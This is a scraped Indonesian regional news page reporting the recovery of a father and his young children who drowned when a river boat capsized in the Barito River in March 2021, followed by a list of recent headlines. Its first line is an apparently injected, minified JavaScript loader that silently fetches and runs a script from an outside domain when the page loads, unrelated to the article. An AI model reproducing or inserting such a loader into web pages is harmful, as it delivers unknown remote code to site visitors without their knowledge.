(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

BREAKING NEWS. Satu Balita Diduga Korban Perahu Tenggelam di Sungai Barito Ditemukan


KANALKALIMANTAN.COM, BANJARMASIN– Satu persatu keluarga yang menjadi korban tenggelam lantaran perahu (kelotok) dihantam gelombang di Sungai Barito, mulai ditemukan.

Setelah sang ayah dan anak sulung, kini seorang balita yang diduga merupakan anggota keluarga korban tenggelam ditemukan oleh tim gabungan yang menyisir arus sungai Barito, pada Senin (15/3/2021) pukul 18.00 Wita.

Informasi penemuan bayi tersebut langsung ditindaklanjuti KP XIII 2007 Ditpolairud Polda Kalsel yang langsung menuju lokasi di Sungai Barito, tepatnya di depan PT TRP Wilkum Satpolair Batola.

Jenzah bayi ditemukan pada koordinat S S 3°20’14.9748″ E 114°32’10.86. Dan saat ini dibawa ke dermaga Apung Sat Polair Polresta Banjarmasin (Alalak).

Baca juga: HEBOH. Pria Tidak Dikenal Bagi-Bagikan Uang di Jalan Veteran Banjarmasin

Sebelumnya sekitar pukul 15.00 Wita, di Sungai Barito, Kecamatan Kuripan, Kabupaten Barito Kuala (Batola), satu korban lain berhasil ditemukan.  Adalah Radika Wijaya, anak usia 5 tahun ditemukan tim SAR di penghujung Desa Kabuau, Kecamatan Kuripan.

Radika Wijaya, adalah anak sulung dari Nova Wijayanto, ditemukan tim SAR, Senin (15/3/2021) sekitar pukul 15.00 Wita. Kondisi bocah laki-laki ini sudah membengkak karena 2×24 jam lebih berada di air.

“Bocah laki-laki ini ditemukan mengapung di permukaan air, yang menemukan pertama kaka Aminsyah,” kata Murdiansyah, warga desa Jambu Lama, Kecamatan Kuripan, Senin (15/3/2021) petang, kepada Kanalkalimantan.com.

Sehari sebelumnya ditemukan Nova Wijayanto (27) dalam kondisi sudah tak bernyawa, pada Minggu (14/3/2021) pagi, sekitar pukul 09.46 Wita.

Baca juga : Ditemukan Korban Kedua Meninggal Dunia Kelotok Tenggelam di Sungai Barito

 

 

“Untuk suaminya Nova Wijayanto tadi ditemukan warga sekitar pukul 09.46 Wita,” ujar Taufik, salah seorang warga yang bergabung dalam tim pencarian.

Korban kecelakaan tunggal di perairan Sungai Barito ini, didapati warga tepatnya di seberang Desa Palingkau Lama, Kalimantan Tengah atau di bagian hulu Desa Jambu Lama.

“Korban didapati warga masih di dalam air waktu itu saat dipancing dengan tali dan nyangkut di tubuh korban dan sekarang sudah dibawa tim yang terdiri dari Basarnas TNI, Polri serta relawan ke rumahnya di Jambu Lama RT 5,” singkatnya.

Laka tunggal di perairan, kelotok yang ditumpangi Nova Wijayanto (27) dan keluarga kecilnya yang terdiri dari tiga anak dan istrinya terbalik pada Sabtu (13/3/2021) siang, sekitar pukul 15.00 Wita.

Kelotok Nova diduga tenggelam lantaran disapu gelombang yang pada saat itu cuaca di Sungai Barito disertai hujan dan angin kencang.

Kala itu Nova bersama anggota keluarganya berangkat dari perusahaan Tri Buan Mas (TBM) di Kabupaten Tapin dengan mengendarai kelotok hendak pulang menuju kampung di Desa Jambu Lama, Kecamatan Kuripan.

“Jadi berdasarkan informasi yang didapat istrinya berhasil selamat dan sempat meminta pertolongan pada warga, setelah itu istrinya tidak sadarkan diri dan sekarang ada di kampungnya di Desa Jambu Baru,” kata Taufiq kepada Kanalkalimantan.com.

Kasat Polair Polres Batola AKP Dading Kalbu Adie membenarkan kejadian yang terjadi di wilayah perairan Sungai Barito, Kabupaten Barito Kuala tersebut.

Kejadiannya itu sekitar pukul 15.00 Wita di Sungai Barito Desa Jambu Lama, Kecamatan Kuripan, identitas korban tersebut adalah Nova wijayanto (27) sang suami, anak laki-laki dan perempuan (kembar pengantin, red) berusia 6 bulan Abyasa Rava dan Anindita Putri Wijaya, anak tertuanya Radika Wijaya (5) dan Rahma (23) sang istri yang ditemukan selamat, namun masih tidak sadarkan diri.(kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

2 jam ago

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

10 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

12 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

13 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

17 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

18 jam ago

This website uses cookies.